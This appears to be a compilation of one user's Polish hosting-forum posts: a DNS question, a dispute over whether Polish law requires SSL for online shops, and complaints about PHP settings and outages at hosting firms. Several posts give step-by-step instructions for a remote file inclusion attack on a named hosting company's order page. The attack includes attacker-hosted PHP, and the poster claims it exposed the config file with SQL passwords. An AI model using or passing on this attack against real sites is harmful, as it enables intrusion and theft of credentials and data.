PeterRiley

Mam wykupiona domene w webhost.at. Chce jej uzywac w hostingu w innej firmie. W panelu confixx w webhost.at mam wpisy rekordow A, MX i NS wskazujace na ich serwery. Co mam zrobic, zeby podpiac domene do innego hostingu? Powinienem wyrzucic A i MX, a w NS wpisac adresy dns'ow ze swojego hostingu?

A przesyłanie danych przez klienta to "przetwarzanie" czy "przechowywanie"? Ani jedno ani drugie. Podane przez Ciebie przykłady to tylko zalecenia - "dobrze byłoby", "pożądane jest" itd. Podkreślmy jeszcze raz - przepisy nie nakazują sklepom stosowania SSL. Tylko Ty interpretujesz w ten sposób przepisy. Bzdura. Jak mogę być odpowiedzialny za dane, które do mnie nie dotarły? Podaj konkretny przepis, który mówi, że odpowiadam za dane od chwili wysłania ich przez użytkownika, a nie od chwili otrzymania ich przeze mnie. Jeśli nie znasz takiego przepisu, pozostaje "przechowywanie" i "przetwarzanie" które może zachodzić jedynie w przypadku posiadanych danych. To może porozmawiamy kiedy pojawi się taka sprawa? Bo na razie Ty twierdzisz jedno, a wszystkie sądy i urzędy w Polsce co innego (skoro nikt nie został ukarany i nikomu nie nakazano używania SSL). Nie twierdze ze jest niepotrzebne. Bardzo dobrze kiedy jest stosowane. Mowie tylko, ze zadne polskie przepisy nie nakazuja tego robic, co probujesz nam wmowic. Nie rozstrzygam teraz czy powinny to robic czy nie, mowie tylko ze na chwile obecna nie nakazuja i nie potrzeba prawnika zeby to zobaczyc. Wielokrotnie. Nie ma tam słowa na temat szyfrowania danych na etapie przesyłania od klienta do firmy. Czysta manipulacja. Oprócz szyfrowania wspomniano w tym raporcie również o szybkości odpowiedzi mailem - mamy rozumiec, ze to rowniez jest ujete w przepisach? Tam sa opisane wymagania co do idealnego sklepu, a to cos wiecej niz sklep dzialajacy zgodnie z prawem. Roznica jest taka ze ksiegowosc prowadzic trzeba, bo nakazuja to przepisy, a sady i urzedy moga ukarac za jej nie stosowanie, natomiast prawo nie nakazuje uzywania SSL. Podsumowujac, wymog prawny stosowania SSL jest Twoim poboznym zyczeniem. Fajnie jesli sklep go uzywa i na pewno bedzie to docenione przez klientow, ale nie jest to obowiazkiem. Pisanie wobec tego, ze firma nie ma prawa sprzedawac hostingu pod sklep bez SSL jest nieuczciwe w stosunku do tej firmy.

Mowa jest o przechowywaniu danych po ich otrzymaniu. Dane leca po kablu bo uzytkownik je wlasnorecznie wysyla, ale sklep odpowiada za nie dopiero w momencie gdy je otrzyma. Twierdzenie, ze przepisy nakazuja sklepom uzywanie protokolu SSL jest ogromnym naduzyciem. Po prostu wprowadzasz ludzi w blad i tyle. Rzadko ktory sklep czy uslugodawca internetowy uzywa SSL do wysylania danych klienta. Wskaz moze jakas sprawe, w ktorej sąd czy jakiś urząd nakazal sklepowi takie postepowanie.

Możesz podać podstawę prawną?

Instrukcja - wylaczasz na swoim serwie wykonywanie plikow php, zrodlo ma leciec jako plain text. Wgrywasz na swoj serwer skrypt skrypcik.php ktory ma sie odpalic u nich na serwie. Wykonujesz www.no-limit.pl/zamow/index.php?account=http://twojserwer/skrypcik Proste? Sprawdzilem, wyswietlilem w ten sposob konfig z haslami do SQL. Do bazy wiec tez jest dostep.

www.no-limit.pl/zamow/index.php?account=http://tunaszskrypt i includuja nasz kod z zewnetrznego serwa. Dzieki czemu mozemy luknac do np. ich konfiga itd itp etc

Czy ktos moglby naskrobac cos o hostingu w no-limit.pl? Wprawdzie oferta wyglada niezle, ceny sa w miare przystepne (49.95 zł rocznie za konto BIZNES jest w sumie do przelkniecia), co najwazniejsze nie ma tych glupich limitow transferow. "Dodatkowe usprawnienia pomogą w usprawnianiu swoich witryn internetowych tak by niczego im nie brakowało i aby sprawnie działały one same" brzmi zachecajaco, tylko jedno mnie martwi, bo maja obok logo napisane "Profesjonalny Hosting Bez Obraniczen". Ciesze sie ze profesjonalny, ale niepokoja mnie te "obraniczenia". Czy to cos bardzo przydatnego? Czy moja strona moze sie obyc bez tych obraniczen? A tak poza tym to http://www.no-limit.pl/zamow/index.php?account=blabla

Tak, ale znajac realia mozna zrozumiec to ich defaultowe "on". Widze, ze sam dzwiek "register_globals" porusza tu jakas wrazliwa strune i zostalem zle zrozumiany. Niech sobie bedzie defaultowo on, byleby mozna bylo to, jak i inne opcje, zmienic.

Długo nie podziałał... znów leży. EDIT: To było wczoraj - kolejny kilkugodzinny pad, a dzisiaj to samo, od godziny leży.

No wlasnie chodzi o to, ze jak dasz mozliwosc indywidualnej zmiany parametrow, to kazdy ustawi jak bedzie chcial i wszyscy beda zadowoleni.

To ciekawe po jakim czasie od publikacji doczekamy sie tej wersji w hostingu, eh. To jasne, niech sobie ustawiaja register_globals=on, byleby dali mozliwosc indywidualnego wylaczenia.

Tak ma, ale umozliwia zmiane. Nie chodzi tylko o te opcje, to przyklad. Nie zgodze sie. To nie jest opcja serwera, tylko php. Jest troche opcji w konfiguracji php, ktore wygodnie jest moc dostosowac do wlasnych potrzeb, a nie zostawiac "specjalistom", ktorzy czesto akurat na polu php (a czasem i na innych polach) poruszaja sie gorzej od nas. Inne firmy to rozumieja i pozwalaja dostosowac te ustawienia za pomoca php.ini lub .htaccess. Robilem strony dla roznych firm, korzystalem z roznych hostingow, ale z takim czyms spotykam sie pierwszy raz. Albo mialem szczescie, albo po prostu praktyka i standardem jest dopuszczenie konfiguracji przez uzytkownika podstawowych opcji php. Kupowac dedyka tylko po to, zeby miec mozliwosc zmiany kilku prostych opcji w php? Na szczescie nie ma takiej potrzeby, bo takie podejscie do klienta firmy hostingowej odchodzi w przeszlosc. Jak wspomnialem wczesniej, i365 wprost napisał mi, że nie mozna zmieniac tych ustawien.

@patryk: Ale moze home.pl dopuszcza zmiane tego parametru indywidualnie przez uzytkownikow? Nic nie mam przeciwko takiej opcji jako default (tak jest na wiekszosci hostingow) pod warunkiem umozliwienia uzytkownikom jej zmiany (tak tez jest na wiekszosci hostingow). @koliber2: Widze, ze Ty nie czytasz for roznych skryptow, moze dlatego ze masz problemy z czytaniem ze zrozumieniem, a zamiast tego wyskakujesz z obrazaniem innych? Akurat nie uzywam zadnych gotowych systemow. Nie chce mi sie dyskutowac tutaj czy register_globals jest czyms zlym czy nie, jak Ty czytales strony ktore to zalecaja to sobie stosuj u siebie. Widze, ze robisz za chcacego naprawiac swiat proroka ze sklonnoscia do reakcji na konkretne frazy w tekscie (register_globals) niezaleznie od kontekstu. Co do niewiedzy - wiem, do czego sluzy ta opcja i chce ja wylaczyc, jak pewnie wiekszosc uzytkownikow. Proste? Mi chodzi o to, ze w i365 nie mam mozliwosci wlasnorecznego dobrania podstawowych parametrow php. Register_globals to jedna z nich, ale przeciez sa i inne. Oczywiscie, mozna sobie z tym poradzic, ale to znacznie utrudnia prace. Z tego co widzialem korzystajac z uslug innych firm, mozliwosci zmiany tych ustawien przez lokalne php.ini czy .htaccess to standard, zdziwil mnie wiec brak takiej mozliwosci w i365 i dlatego o tym pisze.

Zainteresowałem się tą ofertą po pochlebnych opiniach na forum i dopytałem ich o kilka rzeczy. Napisali mi, że nie ma możliwości globalnego ustawienia parametrów php na koncie. W standardowych opcjach są u nich takie kwiatki jak register_globals=On i nie dają możliwości zmiany tego ani w php.ini (jak np. superhost) ani .htaccess (jak np. webd). Reszta tutaj: http://don.i365.pl/phpinfo.php http://don.i365.pl/phpinfo.php5 Jak dla mnie to całkowita dyskwalifikacja.

13 a nie 4. Ale czy to wazne - przerwa w dzialaniu przez dobe to i tak o wiele za dlugo niezaleznie od ceny. EDIT: Baza danych ocalała, ale pliki pochodzą z backupu sprzed kilku dni.